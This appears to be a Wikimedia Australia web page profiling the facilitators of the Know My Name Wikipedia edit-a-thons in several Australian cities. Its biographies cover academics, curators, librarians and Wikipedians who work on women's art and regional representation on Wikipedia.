Bunty is a lecturer in the Department of Media and Communications at University of Sydney. She worked as a journalist for 20 years in Britain, Australia and Asia. She has published three novels, a novella, two books of literary journalism about Bhutan, and been awarded two Ned Kelly Crime Writing Awards. She started researching Wikipedia in 2017 and is currently leading a three-year project to train Bhutanese on how to publish on English Wikipedia as a first step to taking charge of their own Dzongkha Wikipedia. Her Wikipedia name is Doctor 17.
Dr Alysia Bennett - Hobart
Alysia is a lecturer at Monash University's Department of Architecture. Her current research focuses on overcoming barriers to the densification and diversification of dwellings in established suburbs to address the shortage of holistically affordable housing. Over the past decade Bennett has undertaken a range of architectural research and consulting roles within the public and private sectors, including the University of Tasmania, the City of Sydney, BVN and the Office of the State Architect in Tasmania. She is also affiliated with Cumulus Studio and Parlour's WikiD Australia initiative.
Caddie Brain - Canberra
Caddie is an independent curator, producer and audio-maker based in the Northern Territory. Recent work includes Indigemoji and A Tale of Four Cities: A Soundwalk through Darwin as well as exhibitions for the Museum and Art Gallery of the Northern Territory and Northern Territory Library. She has run Wikiclub NT since 2016 to improve the representation of Northern Territory content on Wikipedia. She is currently studying a Master of Applied Cybernetics at the Australian National University's 3A Institute.
Ingrid Cumming - Perth
Ingrid is a Whadjuk Noongar woman from Fremantle, Western Australia. A graduate of Murdoch University and Melbourne Business School, she has during her career, presented and published articles internationally, presented at TedXPerth and is internationally recognized for her work in leadership, Indigenous knowledge, research and cultural development. She is the founder and CEO of the multiple award-winning Kart Koort Wiern (Head Heart and Spirit), founded in 2010, which is a Perth based consultancy that offers consultancy, training and workshops across Australia promoting reconciliation and increasing awareness of Aboriginal and Torres Strait Islander strengths and strategy. She recently co-coordinated the launch of Noongarpedia, Australia's first Indigenous language portal on Wikipedia in her traditional language of Noongar.
The Perth edit-a-thon is also supported by Gideon Digby.
Margaret Donald - Sydney
Married on the day of Harold Holt's funeral, Margaret's trajectory is typical of that era for a girl with a degree: marriage, children, divorce, single motherhood, and several careers: programmer, teacher, statistician, with the last leading to a Ph.D at the age of 68. Her interest in photographing and identifying plants led to her first contributions to Wikipedia in December 2017, and to her becoming a wikipediholic. Her inspiration for an article is frequently an image, and her constant purpose is to link, link, link - particularly to original source material.
Charity Edwards - Melbourne
Charity is a lecturer at Monash University and an architect-geographer who collaborates with artists and scientists to create objects, environments, and strategy. Her research highlights more-than-human impacts of urbanisation at the scale of the planet, and she foregrounds the long-disregarded space of the ocean in particular. She is currently investigating how urban processes extend into the Southern Ocean and manifest through increasingly autonomous underwater technologies. Charity is also a member of The Afterlives of Cities research collective, which brings together expertise in architecture, astrophysics, and speculative fiction to recover futures through civic creative practice.
Pru Mitchell - Melbourne
Pru is President of Wikimedia Australia, and has facilitated Art+Feminism events with the Women's Art Register team since 2018.
Dr Juliette Peers - Melbourne
Juliette is well known and widely published in Australia and internationally as a researcher, writer, curator in the field of Australian Women's Art, and has worked on many curatorial projects including with the Art Gallery of New South Wales, Queensland Art Gallery and Heide Museum of Modern Art. She was one of the authors of a monograph on Erica McGilchrist published by Heide in 2019, She serves on the committee of the Women's Art Register (and also served 20-30 years ago) and blogs and researches for the Sheila Foundation. Additionally she has edited Wikipedia for over 15 years since 2005 concentrating on cultural and creative themes, with a focus on women's art and creativity and Australian cultural production and personalities.
Caroline Phillips - Melbourne
Caroline is a Melbourne based visual artist whose work has been shown in over 40 solo and group exhibitions in Australia and Internationally. Working in sculpture, photography and textiles, she creates handmade objects and installations that critique contemporary feminist aesthetics through modes of abstraction and material presence. Caroline works on a number of collaborative projects that advocate for Australian women artists, including her role as the Secretary of the Women's Art Register, Australia's living archive of women's art practice and a collection of National Significance. Since 2015, Caroline has facilitated a number of Art+Feminism Wikipedia Edit-a-thons for the Women's Art Register, in partnership with Wikimedia Australia and WikiD.
Dr Kerry Raymond - Brisbane
Kerry is an active Wikipedian, primarily contributing in the area of Queensland history and geography. She does Wikipedia outreach through talks, edit training, organising/supporting events and liasion with the GLAM sector.
Ann Reynolds - Sydney
Ann is a foundation member of the Women Write Wiki group which focuses on creating articles on women and women's issues and meets twice a month at The Women's Library in Newtown. Following a career in publishing and office administration and sailing in three Sydney-Hobart yacht races, Ann now spends her time researching local and family history, correcting Trove newspaper transcriptions and editing Wikipedia. With a BA in history from the Australian National University, she is co-author of "The Witches' Houses of Annandale" published by the Annandale Urban Research Association in 2018. She is also membership officer and honorary treasurer of the Feminist Legal Clinic Inc.
Alice Woods - Alice Springs
Alice is a librarian living and working in Alice Springs who is currently employed as the Special Collections Coordinator at the Alice Springs Public Library. Alice is interested in all things Central Australian and improving the Northern Territory's representation on Wikipedia. Alice has only started being a regular Wikipedia contributor in the last few months but is loving researching and creating these pages. In creating pages Alice focuses on women and institutions/missions in the early years of Alice Springs and the people connected with them. Alice was inspired to start work on Wikipedia following a workshop run by Caddie Brain, Know My Name events coordinator, and hopes to inspire others to do the same.
Giving women_artists their rightful place in history, a feature article
#KnowMyName website, National Gallery of Australia
Know My Name project page
Join the Know My Name Facebook editing group
Know My Name event dashboard
Women Wikipedia Design
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Wikimedia Australia is an independant charitable organisation which supports the efforts of the Wikimedia Foundation in Australia. We acknowledge the Traditional Custodians of the lands upon which we live, work, and share knowledge. All website content is released under the Creative Commons Attribution-ShareAlike License.


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